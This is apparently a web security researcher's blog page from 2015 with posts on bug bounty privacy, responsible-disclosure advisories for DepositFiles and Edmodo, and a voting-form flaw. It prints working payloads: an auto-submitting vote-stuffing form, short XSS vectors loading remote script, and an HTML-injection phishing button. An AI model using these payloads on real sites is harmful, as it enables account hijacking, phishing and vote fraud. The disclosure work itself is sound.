David Sopas – Web Security Researcher

27/11/15 Bug Bounty , Interesting Readings , Tips and Tricks # , , , ,

Should bug hunters provide real personal data on bug appreciation programs?

Should bug hunters provide real personal data on bug appreciation programs?

That’s a question that sometimes comes in mind of many “hunters”.

Personally in most cases, when I participate on these programs, I use fake information – one of the first reasons is to immediately test the input fields 🙂

Programs that required you to add your credit card info, phone number, bank info, … in most cases I try to slow down my research a bit. [As alternative sometimes I use one-time only credit cards but in other cases you need to provide other information to test further – eg: upload funds using your bank account. Also it’s a positive thing to have a phone number just to test bug appreciation programs. I already smsbomb myself using a vulnerability #shameonme]
I’m not paranoid but in my opinion it would me interesting if the program itself provides the security researcher with a payment sandbox. Some of them already do this.

Programs that want you to test their payment gateways, membership upgrades, etc… could create some private layer to help researchers. This is a win-win situation, where both parties have interest in giving their best.
Just to give you a background on this topic, a couple of weeks ago I had access to bank information using a SQL Injection vulnerability present on a bounty program. The data was in plaintext. Some of the info was from security researchers that were also testing their security.

I asked a couple of other researchers and some of them told me that they used fake payment data – that works if you are not buying or testing payments.

But I wanted more feedback… So I give it a try on the voting quiz available on Twitter and shared with my followers:

Do you use your personal information when bug hunting (name, phone, address, payment information, …)?

Yes – 26%
No – 39%
Not all the info – 35%

Total votes: 23 (duration: 24 hours)

Not many votes (timezone is a b****) but we can get a small idea on what bug hunters are doing.
74% of them don’t use their real information or just provide part of their personal data.

Bugcrowd told me that they provide test credentials wherever possible. They believe that providing that information to bug hunters participants is ideal, but that requires support on the backend side. Bugcrowd CEO – Casey Ellis – also told me that they advise programs [private or dojo] to create test accounts. If it’s a public program they advise them only if there’s a txn failsafe on the processing side because public may start using them for regular transactions.

Working with Cobalt I also had the opportunity to work with test accounts in their private programs.

On HackerOne I never come across test accounts, even with private programs. It would be cool if they comment this article about this.

Also I already come across of some bug appreciation programs that provided credit card details [bypassing the payment checks] to give the opportunity to researchers test live transactions.

I hope that with this article I help bug appreciation programs participants to protect themselves but at the same time providing the program a good service.

What you guys think about this?

0 likes no responses
23/11/15 Advisories # , , ,

DepositFiles ZeroClipboard.swf XSS

DepositFiles ZeroClipboard.swf XSS

DepositFiles is a file storage website and one of the most popular ones. They’re online since 2005 and recently they start using dfiles.eu domain instead of the depositfiles.com. They allow free accounts but they also have membership fees.

When searching Google for a old depositfiles mirror I found a bogus ZeroClipboard version that reflected in a flash-based XSS.
This vulnerability in ZeroClipboard is well-known since 2012 – so pretty old issue laying around in this popular file storage site.



With these attack, malicious users could hijack users accounts, phishing, malware redirections and a lot more.

I guess this file was lost in their static.dfiles.eu webserver. Sometimes these old vulnerable files can cause a breach on security. So if you are a security administrator or webdeveloper don’t forget to clean up any unused/outdated files.

09-11-2015 I sent the security report to DepositFiles
10-11-2015 DepositFiles replied that they forwarded the message to the manager
17-11-2015 I tested again my PoC and stop working because the file was removed. I requested an update from DepositFiles
23-11-2015 No reply was given but the vulnerable file was deleted so… full disclosure


0 likes no responses
21/11/15 Interesting Readings # , , ,

A few words about Anonymous to Tek Sapo

A few words about Anonymous to Tek Sapo

Luis Grangeia and I talked to portuguese media Tek Sapo about Anonymous and terrorism. Worth taking a look into the article. [portuguese only]

0 likes no responses
20/11/15 Advisories # , , , ,

Bytes that Rock voting manipulation

Bytes that Rock voting manipulation

Rocky Bytes is a company well known for its informative reviews and news on all the latest games and programs. Each year they promote Bytes That Rock – an event committed to bring worldwide recognition the software and blogs that have achieved excellence in the market with their hard work, effort, dedication.

After reading the post from Graham Cluley  which I follow on my daily feed, I decided to check Bytes That Rock best security blog nominees.

I noticed Brian Krebs – krebsonsecurity.com there and I’m a big fan of his work. I voted for him and noticed that the voting form had not protection – besides IP verification.

As a curious individual as I am I tried to check the form security a little further…

I thought to myself – What if I can make Krebs win the competition? 🙂

Since the voting form lacked any security token or CAPTCHA [or even a confirmation email link] I created a small proof-of-concept:

Let me explain with a proof-of-concept:

$email_generator = rand(10000, 9999999) . "@gmail.com";
<form method="post" action="http://www.rockybytes.com/bytes-that-rock/krebs-on-security" name="dsopas">
<input type="hidden" name="email" value="<?php echo $email_generator; ?>" />
<input type="hidden" name="nombre" value="David" />
<input type="hidden" name="programa" value="136" />
<input type="hidden" name="legal" value="on" />
<input type="hidden" value="votar" name="accion"/>
</form><script> document.dsopas.submit(); </script>

I used 2 proxies to open the specially crafted page and both voted successfuly for Krebs blog. So I only needed a unique IP and a auto generated email to vote.
But I don’t needed a unique IP.

Imagine the following scenario:

On a popular blog or network I post a link that contains a hidden IFRAME to my proof-of-concept. Each time a user visits the page, it gives a vote to Krebs.

I contacted Rocky Bytes I told them about this security issue. They took less than 24 hours to implement a CAPTCHA system and told me that in the next edition they will improve their security system using my suggestions.


They also informed me that – I quote:

You should also know that if let the users be the only ones who decide, it won’t be the best one on each category winning but the one with biggest amount of fans, and that wouldn’t make it fair for those small ones who put a huge effort and create quality software and blogs, jeopardizing the whole purpose and philosophy behind this event This is the reason why we put together a Jury of experts on the field and gave them a 70% of the weight on the decision, whilst only the remaining 30% goes for the votes from the public.

As a side note I informed them that during my testing I voted for Brian Krebs blog 3 times. One was valid with my own IP and the other two were made with 2 proxies and auto-generated emails with the name David.

I decided to make this public because it’s important for other voting system to take their security into account. Sometimes the winner is manipulated by users that can bypass the system.

I’m glad I’ve helped Bytes that Rock!

0 likes no responses
09/11/15 Tips and Tricks # , ,

Tiny XSS exploitation

Tiny XSS exploitation

A well-known website had a limit of 32 chars on the user name field that was reflected in the public profile area.
That field allowed XSS exploitation:

d<img src=x onerror=prompt(1)>

Simple right?
But sometimes you need to provide a better vector where the affected company can see more than a prompt with a number. Also they know the limitation of their textfield to 32 chars.

I found two methods using SCRIPT and IFRAME.
When I was tring using this with a tiny URL [is.gd] pointing to my XSS code at davidsopas.com I realized that the vector wasn’t executing.
Why? It required HTTPS.

I searched for a tiny url that provided HTTPS and Google provide me with one – goo.gl.

So my final vector was:

<script src=//goo.gl/TJnzmV>
<iframe src=//goo.gl/xWYG4f>

29 chars and you I could use any Javascript I wanted.
It was fun!

You guys have any other method you like to share?

0 likes no responses
09/11/15 Swag # ,

Thanks Edmodo for the swag

Thanks Edmodo for the swag

Got some cool gifts from Edmodo. Always glad to help others to improve their security 🙂

0 likes no responses
06/11/15 Advisories # , ,

Edmodo XSS and HTML Injection

Edmodo XSS and HTML Injection

For those who don’t know Edmodo

The safest and easiest way for educators to connect and collaborate with students, parents, and each other.

They count with 59,411,899 members. Huge number.

I decided to help them providing them with two security issues. A Reflected XSS and a HTML Injection.

#1 Reflected XSS

After registering in Edmodo I noticed a request to ZeroClipboard.swf on my Google Inspector.
I know that older versions of this SWF have a XSS vulnerability so I gave it a try:


Guess what? It was vulnerable version. It worked perfecly and my cookie was shown in a Javascript alert box.


#2 HTML Injection on Create Invites

This was interesting and I already found similar issues on many websites.
Using the invitee_first_name field you could inject HTML to trick the victim [invitee_email].

Take for example this proof-of-concept:

Ze<br /><a href="http://www.davidsopas.com/poc/malware.htm" style="font-size:14px;text-decoration:none;margin:0 auto;background:#69a229;color:white;font-weight:400;border:1px solid #457a04;border-radius:4px;display:inline-block" target="_blank"><span style="display:inline-block;padding:10px 34px">Accept Invitation and Win a Bonus</span></a>

When sending a reminder you could also use the same technique:

<br /><a href="http://www.davidsopas.com/poc/malware.htm" style="font-size:14px;text-decoration:none;margin:0 auto;background:#69a229;color:white;font-weight:400;border:1px solid #457a04;border-radius:4px;display:inline-block" target="_blank"><span style="display:inline-block;padding:10px 34px">Accept Invitation and Win a Bonus</span></a>

This would reflect on the victims email. I used the same style of a existing Edmodo button. When the victim clicked, it goes to my proof-of-concept page.

Possible attack scenario:

  1. Malicious user sends invitations with a HTML injection [like my proof-of-concept]
  2. Victim thinks that’s a button from Edmodo and clicks on it.
  3. Victims browser gets hijacked

Edmodo guys were awesome, giving constantly updates on the report status. Also they sent me some goodies but European customs retain the package 🙂

13-10-2015 I sent a email request security contact
13-10-2015 Edmodo replied to the above question
13-10-2015 I sent the security report
22-10-2015 Edmodo replied that both issues were validated and they’re working on it
04-11-2015 Edmodo fixed both issues
06-11-2015 Full disclosure

0 likes 6 responses